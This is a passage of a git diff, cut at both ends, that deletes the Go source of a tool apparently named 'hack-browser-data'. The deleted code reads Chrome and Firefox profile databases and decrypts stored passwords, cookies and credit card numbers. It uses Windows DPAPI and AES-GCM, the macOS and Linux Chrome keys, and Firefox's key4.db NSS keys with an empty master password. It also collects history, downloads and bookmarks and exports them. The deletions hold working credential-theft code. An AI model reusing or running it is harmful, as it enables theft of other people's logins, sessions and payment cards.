outPutConsole() { - for _, v := range b.bookmarks { - fmt.Printf("%+v\n", v) - } -} - -func (c *cookies) outPutConsole() { - for host, value := range c.cookies { - fmt.Printf("%s\n%+v\n", host, value) - } -} - -func (h *historyData) outPutConsole() { - for _, v := range h.history { - fmt.Printf("%+v\n", v) - } -} - -func (d *downloads) outPutConsole() { - for _, v := range d.downloads { - fmt.Printf("%+v\n", v) - } -} - -func (p *passwords) outPutConsole() { - for _, v := range p.logins { - fmt.Printf("%+v\n", v) - } -} - -func (c *creditCards) outPutConsole() { - for _, v := range c.cards { - fmt.Printf("%+v\n", v) - } -} diff --git a/core/data/parse.go b/core/data/parse.go deleted file mode 100644 index 632d19f..0000000 --- a/core/data/parse.go +++ /dev/null @@ -1,1011 +0,0 @@ -package data - -import ( - "bytes" - "database/sql" - "encoding/base64" - "io/ioutil" - "os" - "path/filepath" - "sort" - "strings" - "time" - - "hack-browser-data/core/decrypt" - "hack-browser-data/internal/log" - "hack-browser-data/internal/utils" - - _ "github.com/mattn/go-sqlite3" - "github.com/tidwall/gjson" -) - -type Item interface { - // ChromeParse parse chrome items, Password and Cookie need secret key - ChromeParse(key []byte) error - - // FirefoxParse parse firefox items - FirefoxParse() error - - // OutPut file name and format type - OutPut(format, browser, dir string) error - - // CopyDB is copy item db file to current dir - CopyDB() error - - // Release is delete item db file - Release() error -} - -const ( - ChromeCreditFile = "Web Data" - ChromePasswordFile = "Login Data" - ChromeHistoryFile = "History" - ChromeDownloadFile = "History" - ChromeCookieFile = "Cookies" - ChromeBookmarkFile = "Bookmarks" - FirefoxCookieFile = "cookies.sqlite" - FirefoxKey4File = "key4.db" - FirefoxLoginFile = "logins.json" - FirefoxDataFile = "places.sqlite" -) - -var ( - queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards` - queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` - queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` - queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads` - queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` - queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places` - queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id` - queryFirefoxBookMarks = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)` - queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies` - queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'` - queryNssPrivate = `SELECT a11, a102 from nssPrivate` - closeJournalMode = `PRAGMA journal_mode=off` -) - -const ( - bookmarkID = "id" - bookmarkAdded = "date_added" - bookmarkUrl = "url" - bookmarkName = "name" - bookmarkType = "type" - bookmarkChildren = "children" -) - -type bookmarks struct { - mainPath string - bookmarks []bookmark -} - -func NewBookmarks(main, sub string) Item { - return &bookmarks{mainPath: main} -} - -func (b *bookmarks) ChromeParse(key []byte) error { - bookmarks, err := utils.ReadFile(ChromeBookmarkFile) - if err != nil { - return err - } - r := gjson.Parse(bookmarks) - if r.Exists() { - roots := r.Get("roots") - roots.ForEach(func(key, value gjson.Result) bool { - getBookmarkChildren(value, b) - return true - }) - } - return nil -} - -func getBookmarkChildren(value gjson.Result, b *bookmarks) (children gjson.Result) { - nodeType := value.Get(bookmarkType) - bm := bookmark{ - ID: value.Get(bookmarkID).Int(), - Name: value.Get(bookmarkName).String(), - URL: value.Get(bookmarkUrl).String(), - DateAdded: utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()), - } - children = value.Get(bookmarkChildren) - if nodeType.Exists() { - bm.Type = nodeType.String() - b.bookmarks = append(b.bookmarks, bm) - if children.Exists() && children.IsArray() { - for _, v := range children.Array() { - children = getBookmarkChildren(v, b) - } - } - } - return children -} - -func (b *bookmarks) FirefoxParse() error { - var ( - err error - keyDB *sql.DB - bookmarkRows *sql.Rows - tempMap map[int64]string - bookmarkUrl string - ) - keyDB, err = sql.Open("sqlite3", FirefoxDataFile) - if err != nil { - return err - } - defer func() { - if err := keyDB.Close(); err != nil { - log.Error(err) - } - }() - _, err = keyDB.Exec(closeJournalMode) - if err != nil { - log.Error(err) - } - bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks) - if err != nil { - return err - } - for bookmarkRows.Next() { - var ( - id, bType, dateAdded int64 - title, url string - ) - err = bookmarkRows.Scan(&id, &url, &bType, &dateAdded, &title) - if err != nil { - log.Warn(err) - } - if url, ok := tempMap[id]; ok { - bookmarkUrl = url - } - b.bookmarks = append(b.bookmarks, bookmark{ - ID: id, - Name: title, - Type: utils.BookmarkType(bType), - URL: bookmarkUrl, - DateAdded: utils.TimeStampFormat(dateAdded / 1000000), - }) - } - return nil -} - -func (b *bookmarks) CopyDB() error { - return copyToLocalPath(b.mainPath, filepath.Base(b.mainPath)) -} - -func (b *bookmarks) Release() error { - return os.Remove(filepath.Base(b.mainPath)) -} - -func (b *bookmarks) OutPut(format, browser, dir string) error { - sort.Slice(b.bookmarks, func(i, j int) bool { - return b.bookmarks[i].ID < b.bookmarks[j].ID - }) - switch format { - case "csv": - err := b.outPutCsv(browser, dir) - return err - case "console": - b.outPutConsole() - return nil - default: - err := b.outPutJson(browser, dir) - return err - } -} - -type cookies struct { - mainPath string - cookies map[string][]cookie -} - -func NewCookies(main, sub string) Item { - return &cookies{mainPath: main} -} - -func (c *cookies) ChromeParse(secretKey []byte) error { - c.cookies = make(map[string][]cookie) - cookieDB, err := sql.Open("sqlite3", ChromeCookieFile) - if err != nil { - return err - } - defer func() { - if err := cookieDB.Close(); err != nil { - log.Debug(err) - } - }() - rows, err := cookieDB.Query(queryChromiumCookie) - if err != nil { - return err - } - defer func() { - if err := rows.Close(); err != nil { - log.Debug(err) - } - }() - for rows.Next() { - var ( - key, host, path string - isSecure, isHTTPOnly, hasExpire, isPersistent int - createDate, expireDate int64 - value, encryptValue []byte - ) - err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent) - if err != nil { - log.Error(err) - } - cookie := cookie{ - KeyName: key, - Host: host, - Path: path, - encryptValue: encryptValue, - IsSecure: utils.IntToBool(isSecure), - IsHTTPOnly: utils.IntToBool(isHTTPOnly), - HasExpire: utils.IntToBool(hasExpire), - IsPersistent: utils.IntToBool(isPersistent), - CreateDate: utils.TimeEpochFormat(createDate), - ExpireDate: utils.TimeEpochFormat(expireDate), - } - // remove 'v10' - if secretKey == nil { - value, err = decrypt.DPApi(encryptValue) - } else { - value, err = decrypt.ChromePass(secretKey, encryptValue) - } - if err != nil { - log.Debug(err) - } - cookie.Value = string(value) - c.cookies[host] = append(c.cookies[host], cookie) - } - return nil -} - -func (c *cookies) FirefoxParse() error { - c.cookies = make(map[string][]cookie) - cookieDB, err := sql.Open("sqlite3", FirefoxCookieFile) - if err != nil { - return err - } - defer func() { - if err := cookieDB.Close(); err != nil { - log.Debug(err) - } - }() - rows, err := cookieDB.Query(queryFirefoxCookie) - if err != nil { - return err - } - defer func() { - if err := rows.Close(); err != nil { - log.Debug(err) - } - }() - for rows.Next() { - var ( - name, value, host, path string - isSecure, isHttpOnly int - creationTime, expiry int64 - ) - err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly) - if err != nil { - log.Error(err) - } - c.cookies[host] = append(c.cookies[host], cookie{ - KeyName: name, - Host: host, - Path: path, - IsSecure: utils.IntToBool(isSecure), - IsHTTPOnly: utils.IntToBool(isHttpOnly), - CreateDate: utils.TimeStampFormat(creationTime / 1000000), - ExpireDate: utils.TimeStampFormat(expiry), - Value: value, - }) - } - return nil -} - -func (c *cookies) CopyDB() error { - return copyToLocalPath(c.mainPath, filepath.Base(c.mainPath)) -} - -func (c *cookies) Release() error { - return os.Remove(filepath.Base(c.mainPath)) -} - -func (c *cookies) OutPut(format, browser, dir string) error { - switch format { - case "csv": - err := c.outPutCsv(browser, dir) - return err - case "console": - c.outPutConsole() - return nil - default: - err := c.outPutJson(browser, dir) - return err - } -} - -type historyData struct { - mainPath string - history []history -} - -func NewHistoryData(main, sub string) Item { - return &historyData{mainPath: main} -} - -func (h *historyData) ChromeParse(key []byte) error { - historyDB, err := sql.Open("sqlite3", ChromeHistoryFile) - if err != nil { - return err - } - defer func() { - if err := historyDB.Close(); err != nil { - log.Error(err) - } - }() - rows, err := historyDB.Query(queryChromiumHistory) - if err != nil { - return err - } - defer func() { - if err := rows.Close(); err != nil { - log.Debug(err) - } - }() - for rows.Next() { - var ( - url, title string - visitCount int - lastVisitTime int64 - ) - err := rows.Scan(&url, &title, &visitCount, &lastVisitTime) - data := history{ - Url: url, - Title: title, - VisitCount: visitCount, - LastVisitTime: utils.TimeEpochFormat(lastVisitTime), - } - if err != nil { - log.Error(err) - } - h.history = append(h.history, data) - } - return nil -} - -func (h *historyData) FirefoxParse() error { - var ( - err error - keyDB *sql.DB - historyRows *sql.Rows - tempMap map[int64]string - ) - tempMap = make(map[int64]string) - keyDB, err = sql.Open("sqlite3", FirefoxDataFile) - if err != nil { - return err - } - _, err = keyDB.Exec(closeJournalMode) - if err != nil { - log.Error(err) - } - defer func() { - if err := keyDB.Close(); err != nil { - log.Error(err) - } - }() - historyRows, err = keyDB.Query(queryFirefoxHistory) - if err != nil { - log.Error(err) - return err - } - defer func() { - if err := historyRows.Close(); err != nil { - log.Error(err) - } - }() - for historyRows.Next() { - var ( - id, visitDate int64 - url, title string - visitCount int - ) - err = historyRows.Scan(&id, &url, &visitDate, &title, &visitCount) - if err != nil { - log.Warn(err) - } - h.history = append(h.history, history{ - Title: title, - Url: url, - VisitCount: visitCount, - LastVisitTime: utils.TimeStampFormat(visitDate / 1000000), - }) - tempMap[id] = url - } - return nil -} - -func (h *historyData) CopyDB() error { - return copyToLocalPath(h.mainPath, filepath.Base(h.mainPath)) -} - -func (h *historyData) Release() error { - return os.Remove(filepath.Base(h.mainPath)) -} - -func (h *historyData) OutPut(format, browser, dir string) error { - sort.Slice(h.history, func(i, j int) bool { - return h.history[i].VisitCount > h.history[j].VisitCount - }) - switch format { - case "csv": - err := h.outPutCsv(browser, dir) - return err - case "console": - h.outPutConsole() - return nil - default: - err := h.outPutJson(browser, dir) - return err - } -} - -type downloads struct { - mainPath string - downloads []download -} - -func NewDownloads(main, sub string) Item { - return &downloads{mainPath: main} -} - -func (d *downloads) ChromeParse(key []byte) error { - historyDB, err := sql.Open("sqlite3", ChromeDownloadFile) - if err != nil { - return err - } - defer func() { - if err := historyDB.Close(); err != nil { - log.Error(err) - } - }() - rows, err := historyDB.Query(queryChromiumDownload) - if err != nil { - return err - } - defer func() { - if err := rows.Close(); err != nil { - log.Error(err) - } - }() - for rows.Next() { - var ( - targetPath, tabUrl, mimeType string - totalBytes, startTime, endTime int64 - ) - err := rows.Scan(&targetPath, &tabUrl, &totalBytes, &startTime, &endTime, &mimeType) - data := download{ - TargetPath: targetPath, - Url: tabUrl, - TotalBytes: totalBytes, - StartTime: utils.TimeEpochFormat(startTime), - EndTime: utils.TimeEpochFormat(endTime), - MimeType: mimeType, - } - if err != nil { - log.Error(err) - } - d.downloads = append(d.downloads, data) - } - return nil -} - -func (d *downloads) FirefoxParse() error { - var ( - err error - keyDB *sql.DB - downloadRows *sql.Rows - tempMap map[int64]string - ) - tempMap = make(map[int64]string) - keyDB, err = sql.Open("sqlite3", FirefoxDataFile) - if err != nil { - return err - } - _, err = keyDB.Exec(closeJournalMode) - if err != nil { - log.Error(err) - } - defer func() { - if err := keyDB.Close(); err != nil { - log.Error(err) - } - }() - downloadRows, err = keyDB.Query(queryFirefoxDownload) - if err != nil { - log.Error(err) - return err - } - defer func() { - if err := downloadRows.Close(); err != nil { - log.Error(err) - } - }() - for downloadRows.Next() { - var ( - content, url string - placeID, dateAdded int64 - ) - err = downloadRows.Scan(&placeID, &content, &url, &dateAdded) - if err != nil { - log.Warn(err) - } - contentList := strings.Split(content, ",{") - if len(contentList) > 1 { - path := contentList[0] - json := "{" + contentList[1] - endTime := gjson.Get(json, "endTime") - fileSize := gjson.Get(json, "fileSize") - d.downloads = append(d.downloads, download{ - TargetPath: path, - Url: url, - TotalBytes: fileSize.Int(), - StartTime: utils.TimeStampFormat(dateAdded / 1000000), - EndTime: utils.TimeStampFormat(endTime.Int() / 1000), - }) - } - tempMap[placeID] = url - } - return nil -} - -func (d *downloads) CopyDB() error { - return copyToLocalPath(d.mainPath, filepath.Base(d.mainPath)) -} - -func (d *downloads) Release() error { - return os.Remove(filepath.Base(d.mainPath)) -} - -func (d *downloads) OutPut(format, browser, dir string) error { - switch format { - case "csv": - err := d.outPutCsv(browser, dir) - return err - case "console": - d.outPutConsole() - return nil - default: - err := d.outPutJson(browser, dir) - return err - } -} - -type passwords struct { - mainPath string - subPath string - logins []loginData -} - -func NewFPasswords(main, sub string) Item { - return &passwords{mainPath: main, subPath: sub} -} - -func NewCPasswords(main, sub string) Item { - return &passwords{mainPath: main} -} - -func (p *passwords) ChromeParse(key []byte) error { - loginDB, err := sql.Open("sqlite3", ChromePasswordFile) - if err != nil { - return err - } - defer func() { - if err := loginDB.Close(); err != nil { - log.Debug(err) - } - }() - rows, err := loginDB.Query(queryChromiumLogin) - if err != nil { - return err - } - defer func() { - if err := rows.Close(); err != nil { - log.Debug(err) - } - }() - for rows.Next() { - var ( - url, username string - pwd, password []byte - create int64 - ) - err = rows.Scan(&url, &username, &pwd, &create) - if err != nil { - log.Error(err) - } - login := loginData{ - UserName: username, - encryptPass: pwd, - LoginUrl: url, - } - if key == nil { - password, err = decrypt.DPApi(pwd) - } else { - password, err = decrypt.ChromePass(key, pwd) - } - if err != nil { - log.Debugf("%s have empty password %s", login.LoginUrl, err.Error()) - } - if create > time.Now().Unix() { - login.CreateDate = utils.TimeEpochFormat(create) - } else { - login.CreateDate = utils.TimeStampFormat(create) - } - login.Password = string(password) - p.logins = append(p.logins, login) - } - return nil -} - -func (p *passwords) FirefoxParse() error { - globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey() - if err != nil { - return err - } - keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1} - metaPBE, err := decrypt.NewASN1PBE(metaBytes) - if err != nil { - log.Error("decrypter meta data failed", err) - return err - } - // default master password is empty - var masterPwd []byte - k, err := metaPBE.Decrypt(globalSalt, masterPwd) - if err != nil { - log.Error("decrypter firefox meta bytes failed", err) - return err - } - if bytes.Contains(k, []byte("password-check")) { - log.Debug("password-check success") - m := bytes.Compare(nssA102, keyLin) - if m == 0 { - nssPBE, err := decrypt.NewASN1PBE(nssA11) - if err != nil { - log.Error("decode firefox nssA11 bytes failed", err) - return err - } - finallyKey, err := nssPBE.Decrypt(globalSalt, masterPwd) - finallyKey = finallyKey[:24] - if err != nil { - log.Error("get firefox finally key failed") - return err - } - allLogins, err := getFirefoxLoginData() - if err != nil { - return err - } - for _, v := range allLogins { - userPBE, err := decrypt.NewASN1PBE(v.encryptUser) - if err != nil { - log.Error("decode firefox user bytes failed", err) - } - pwdPBE, err := decrypt.NewASN1PBE(v.encryptPass) - if err != nil { - log.Error("decode firefox password bytes failed", err) - } - user, err := userPBE.Decrypt(finallyKey, masterPwd) - if err != nil { - log.Error(err) - } - pwd, err := pwdPBE.Decrypt(finallyKey, masterPwd) - if err != nil { - log.Error(err) - } - log.Debug("decrypter firefox success") - p.logins = append(p.logins, loginData{ - LoginUrl: v.LoginUrl, - UserName: string(decrypt.PKCS5UnPadding(user)), - Password: string(decrypt.PKCS5UnPadding(pwd)), - CreateDate: v.CreateDate, - }) - } - } - } - return nil -} - -func (p *passwords) CopyDB() error { - err := copyToLocalPath(p.mainPath, filepath.Base(p.mainPath)) - if err != nil { - log.Error(err) - } - if p.subPath != "" { - err = copyToLocalPath(p.subPath, filepath.Base(p.subPath)) - } - return err -} - -func (p *passwords) Release() error { - err := os.Remove(filepath.Base(p.mainPath)) - if err != nil { - log.Error(err) - } - if p.subPath != "" { - err = os.Remove(filepath.Base(p.subPath)) - } - return err -} - -func (p *passwords) OutPut(format, browser, dir string) error { - sort.Sort(p) - switch format { - case "csv": - err := p.outPutCsv(browser, dir) - return err - case "console": - p.outPutConsole() - return nil - default: - err := p.outPutJson(browser, dir) - return err - } -} - -type creditCards struct { - mainPath string - cards map[string][]card -} - -func NewCCards(main string, sub string) Item { - return &creditCards{mainPath: main} -} - -func (c *creditCards) FirefoxParse() error { - return nil // FireFox does not have a credit card saving feature -} - -func (c *creditCards) ChromeParse(secretKey []byte) error { - c.cards = make(map[string][]card) - creditDB, err := sql.Open("sqlite3", ChromeCreditFile) - if err != nil { - return err - } - defer func() { - if err := creditDB.Close(); err != nil { - log.Debug(err) - } - }() - rows, err := creditDB.Query(queryChromiumCredit) - if err != nil { - return err - } - defer func() { - if err := rows.Close(); err != nil { - log.Debug(err) - } - }() - for rows.Next() { - var ( - name, month, year, guid string - value, encryptValue []byte - ) - err := rows.Scan(&guid, &name, &month, &year, &encryptValue) - if err != nil { - log.Error(err) - } - creditCardInfo := card{ - GUID: guid, - Name: name, - ExpirationMonth: month, - ExpirationYear: year, - } - if secretKey == nil { - value, err = decrypt.DPApi(encryptValue) - } else { - value, err = decrypt.ChromePass(secretKey, encryptValue) - } - if err != nil { - log.Debug(err) - } - creditCardInfo.CardNumber = string(value) - c.cards[guid] = append(c.cards[guid], creditCardInfo) - } - return nil -} - -func (c *creditCards) CopyDB() error { - return copyToLocalPath(c.mainPath, filepath.Base(c.mainPath)) -} - -func (c *creditCards) Release() error { - return os.Remove(filepath.Base(c.mainPath)) -} - -func (c *creditCards) OutPut(format, browser, dir string) error { - switch format { - case "csv": - err := c.outPutCsv(browser, dir) - return err - case "console": - c.outPutConsole() - return nil - default: - err := c.outPutJson(browser, dir) - return err - } -} - -// getFirefoxDecryptKey get value from key4.db -func getFirefoxDecryptKey() (item1, item2, a11, a102 []byte, err error) { - var ( - keyDB *sql.DB - pwdRows *sql.Rows - nssRows *sql.Rows - ) - keyDB, err = sql.Open("sqlite3", FirefoxKey4File) - if err != nil { - log.Error(err) - return nil, nil, nil, nil, err - } - defer func() { - if err := keyDB.Close(); err != nil { - log.Error(err) - } - }() - - pwdRows, err = keyDB.Query(queryMetaData) - defer func() { - if err := pwdRows.Close(); err != nil { - log.Debug(err) - } - }() - for pwdRows.Next() { - if err := pwdRows.Scan(&item1, &item2); err != nil { - log.Error(err) - continue - } - } - if err != nil { - log.Error(err) - } - nssRows, err = keyDB.Query(queryNssPrivate) - defer func() { - if err := nssRows.Close(); err != nil { - log.Debug(err) - } - }() - for nssRows.Next() { - if err := nssRows.Scan(&a11, &a102); err != nil { - log.Debug(err) - } - } - return item1, item2, a11, a102, nil -} - -// getFirefoxLoginData use to get firefox -func getFirefoxLoginData() (l []loginData, err error) { - s, err := ioutil.ReadFile(FirefoxLoginFile) - if err != nil { - return nil, err - } - h := gjson.GetBytes(s, "logins") - if h.Exists() { - for _, v := range h.Array() { - var ( - m loginData - u []byte - p []byte - ) - m.LoginUrl = v.Get("formSubmitURL").String() - u, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String()) - m.encryptUser = u - if err != nil { - log.Debug(err) - } - p, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String()) - m.encryptPass = p - m.CreateDate = utils.TimeStampFormat(v.Get("timeCreated").Int() / 1000) - l = append(l, m) - } - } - return -} - -type ( - loginData struct { - UserName string - encryptPass []byte - encryptUser []byte - Password string - LoginUrl string - CreateDate time.Time - } - bookmark struct { - ID int64 - Name string - Type string - URL string - DateAdded time.Time - } - cookie struct { - Host string - Path string - KeyName string - encryptValue []byte - Value string - IsSecure bool - IsHTTPOnly bool - HasExpire bool - IsPersistent bool - CreateDate time.Time - ExpireDate time.Time - } - history struct { - Title string - Url string - VisitCount int - LastVisitTime time.Time - } - download struct { - TargetPath string - Url string - TotalBytes int64 - StartTime time.Time - EndTime time.Time - MimeType string - } - card struct { - GUID string - Name string - ExpirationYear string - ExpirationMonth string - CardNumber string - } -) - -func (p passwords) Len() int { - return len(p.logins) -} - -func (p passwords) Less(i, j int) bool { - return p.logins[i].CreateDate.After(p.logins[j].CreateDate) -} - -func (p passwords) Swap(i, j int) { - p.logins[i], p.logins[j] = p.logins[j], p.logins[i] -} - -func (d downloads) Len() int { - return len(d.downloads) -} - -func (d downloads) Less(i, j int) bool { - return d.downloads[i].StartTime.After(d.downloads[j].StartTime) -} - -func (d downloads) Swap(i, j int) { - d.downloads[i], d.downloads[j] = d.downloads[j], d.downloads[i] -} - -func copyToLocalPath(src, dst string) error { - locals, _ := filepath.Glob("*") - for _, v := range locals { - if v == dst { - err := os.Remove(dst) - if err != nil { - return err - } - } - } - sourceFile, err := ioutil.ReadFile(src) - if err != nil { - log.Debug(err.Error()) - } - err = ioutil.WriteFile(dst, sourceFile, 0777) - if err != nil { - log.Debug(err.Error()) - } - return err -} diff --git a/core/decrypt/decrypt.go b/core/decrypt/decrypt.go deleted file mode 100644 index 82740f8..0000000 --- a/core/decrypt/decrypt.go +++ /dev/null @@ -1,214 +0,0 @@ -package decrypt - -import ( - "crypto/aes" - "crypto/cipher" - "crypto/des" - "crypto/hmac" - "crypto/sha1" - "crypto/sha256" - "encoding/asn1" - "errors" - - "golang.org/x/crypto/pbkdf2" -) - -var ( - errSecurityKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal") - errPasswordIsEmpty = errors.New("password is empty") - errDecryptFailed = errors.New("decrypter encrypt value failed") - errDecodeASN1Failed = errors.New("decode ASN1 data failed") - errEncryptedLength = errors.New("length of encrypted password less than block size") -) - -type ASN1PBE interface { - Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) -} - -func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) { - var ( - n NssPBE - m MetaPBE - l LoginPBE - ) - if _, err := asn1.Unmarshal(b, &n); err == nil { - return n, nil - } - if _, err := asn1.Unmarshal(b, &m); err == nil { - return m, nil - } - if _, err := asn1.Unmarshal(b, &l); err == nil { - return l, nil - } - return nil, errDecodeASN1Failed -} - -// NssPBE Struct -// SEQUENCE (2 elem) -// SEQUENCE (2 elem) -// OBJECT IDENTIFIER -// SEQUENCE (2 elem) -// OCTET STRING (20 byte) -// INTEGER 1 -// OCTET STRING (16 byte) -type NssPBE struct { - NssSequenceA - Encrypted []byte -} - -type NssSequenceA struct { - DecryptMethod asn1.ObjectIdentifier - NssSequenceB -} - -type NssSequenceB struct { - EntrySalt []byte - Len int -} - -func (n NssPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) { - glmp := append(globalSalt, masterPwd...) - hp := sha1.Sum(glmp) - s := append(hp[:], n.EntrySalt...) - chp := sha1.Sum(s) - pes := paddingZero(n.EntrySalt, 20) - tk := hmac.New(sha1.New, chp[:]) - tk.Write(pes) - pes = append(pes, n.EntrySalt...) - k1 := hmac.New(sha1.New, chp[:]) - k1.Write(pes) - tkPlus := append(tk.Sum(nil), n.EntrySalt...) - k2 := hmac.New(sha1.New, chp[:]) - k2.Write(tkPlus) - k := append(k1.Sum(nil), k2.Sum(nil)...) - iv := k[len(k)-8:] - return des3Decrypt(k[:24], iv, n.Encrypted) -} - -// MetaPBE Struct -// SEQUENCE (2 elem) -// SEQUENCE (2 elem) -// OBJECT IDENTIFIER -// SEQUENCE (2 elem) -// SEQUENCE (2 elem) -// OBJECT IDENTIFIER -// SEQUENCE (4 elem) -// OCTET STRING (32 byte) -// INTEGER 1 -// INTEGER 32 -// SEQUENCE (1 elem) -// OBJECT IDENTIFIER -// SEQUENCE (2 elem) -// OBJECT IDENTIFIER -// OCTET STRING (14 byte) -// OCTET STRING (16 byte) -type MetaPBE struct { - MetaSequenceA - Encrypted []byte -} - -type MetaSequenceA struct { - PKCS5PBES2 asn1.ObjectIdentifier - MetaSequenceB -} -type MetaSequenceB struct { - MetaSequenceC - MetaSequenceD -} - -type MetaSequenceC struct { - PKCS5PBKDF2 asn1.ObjectIdentifier - MetaSequenceE -} - -type MetaSequenceD struct { - AES256CBC asn1.ObjectIdentifier - IV []byte -} - -type MetaSequenceE struct { - EntrySalt []byte - IterationCount int - KeySize int - MetaSequenceF -} - -type MetaSequenceF struct { - HMACWithSHA256 asn1.ObjectIdentifier -} - -func (m MetaPBE) Decrypt(globalSalt, masterPwd []byte) (key2 []byte, err error) { - k := sha1.Sum(globalSalt) - key := pbkdf2.Key(k[:], m.EntrySalt, m.IterationCount, m.KeySize, sha256.New) - iv := append([]byte{4, 14}, m.IV...) - return aes128CBCDecrypt(key, iv, m.Encrypted) -} - -// LoginPBE Struct -// SEQUENCE (3 elem) -// OCTET STRING (16 byte) -// SEQUENCE (2 elem) -// OBJECT IDENTIFIER -// OCTET STRING (8 byte) -// OCTET STRING (16 byte) -type LoginPBE struct { - CipherText []byte - LoginSequence - Encrypted []byte -} - -type LoginSequence struct { - asn1.ObjectIdentifier - IV []byte -} - -func (l LoginPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) { - return des3Decrypt(globalSalt, l.IV, l.Encrypted) -} - -func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) { - block, err := aes.NewCipher(key) - if err != nil { - return nil, err - } - encryptLen := len(encryptPass) - if encryptLen < block.BlockSize() { - return nil, errEncryptedLength - } - - dst := make([]byte, encryptLen) - mode := cipher.NewCBCDecrypter(block, iv) - mode.CryptBlocks(dst, encryptPass) - dst = PKCS5UnPadding(dst) - return dst, nil -} - -func PKCS5UnPadding(src []byte) []byte { - length := len(src) - unpad := int(src[length-1]) - return src[:(length - unpad)] -} - -// des3Decrypt use for decrypter firefox PBE -func des3Decrypt(key, iv []byte, src []byte) ([]byte, error) { - block, err := des.NewTripleDESCipher(key) - if err != nil { - return nil, err - } - blockMode := cipher.NewCBCDecrypter(block, iv) - sq := make([]byte, len(src)) - blockMode.CryptBlocks(sq, src) - return sq, nil -} - -func paddingZero(s []byte, l int) []byte { - h := l - len(s) - if h <= 0 { - return s - } else { - for i := len(s); i < l; i++ { - s = append(s, 0) - } - return s - } -} diff --git a/core/decrypt/decrypt_darwin.go b/core/decrypt/decrypt_darwin.go deleted file mode 100644 index beb694b..0000000 --- a/core/decrypt/decrypt_darwin.go +++ /dev/null @@ -1,17 +0,0 @@ -package decrypt - -func ChromePass(key, encryptPass []byte) ([]byte, error) { - if len(encryptPass) > 3 { - if len(key) == 0 { - return nil, errSecurityKeyIsEmpty - } - var chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} - return aes128CBCDecrypt(key, chromeIV, encryptPass[3:]) - } else { - return nil, errDecryptFailed - } -} - -func DPApi(data []byte) ([]byte, error) { - return nil, nil -} diff --git a/core/decrypt/decrypt_linux.go b/core/decrypt/decrypt_linux.go deleted file mode 100644 index ad543ff..0000000 --- a/core/decrypt/decrypt_linux.go +++ /dev/null @@ -1,17 +0,0 @@ -package decrypt - -func ChromePass(key, encryptPass []byte) ([]byte, error) { - var chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} - if len(encryptPass) > 3 { - if len(key) == 0 { - return nil, errSecurityKeyIsEmpty - } - return aes128CBCDecrypt(key, chromeIV, encryptPass[3:]) - } else { - return nil, errDecryptFailed - } -} - -func DPApi(data []byte) ([]byte, error) { - return nil, nil -} diff --git a/core/decrypt/decrypt_windows.go b/core/decrypt/decrypt_windows.go deleted file mode 100644 index 4f23271..0000000 --- a/core/decrypt/decrypt_windows.go +++ /dev/null @@ -1,70 +0,0 @@ -package decrypt - -import ( - "crypto/aes" - "crypto/cipher" - "syscall" - "unsafe" -) - -func ChromePass(key, encryptPass []byte) ([]byte, error) { - if len(encryptPass) > 15 { - // remove Prefix 'v10' - return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15]) - } else { - return nil, errPasswordIsEmpty - } -} - -// chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc -func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) { - block, err := aes.NewCipher(key) - if err != nil { - return nil, err - } - blockMode, err := cipher.NewGCM(block) - if err != nil { - return nil, err - } - origData, err := blockMode.Open(nil, nounce, crypted, nil) - if err != nil { - return nil, err - } - return origData, nil -} - -type dataBlob struct { - cbData uint32 - pbData *byte -} - -func NewBlob(d []byte) *dataBlob { - if len(d) == 0 { - return &dataBlob{} - } - return &dataBlob{ - pbData: &d[0], - cbData: uint32(len(d)), - } -} - -func (b *dataBlob) ToByteArray() []byte { - d := make([]byte, b.cbData) - copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:]) - return d -} - -// chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82 -func DPApi(data []byte) ([]byte, error) { - dllCrypt := syscall.NewLazyDLL("Crypt32.dll") - dllKernel := syscall.NewLazyDLL("Kernel32.dll") - procDecryptData := dllCrypt.NewProc("CryptUnprotectData") - procLocalFree := dllKernel.NewProc("LocalFree") - var outBlob dataBlob - r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob))) - if r == 0 { - return nil, err - } - defer 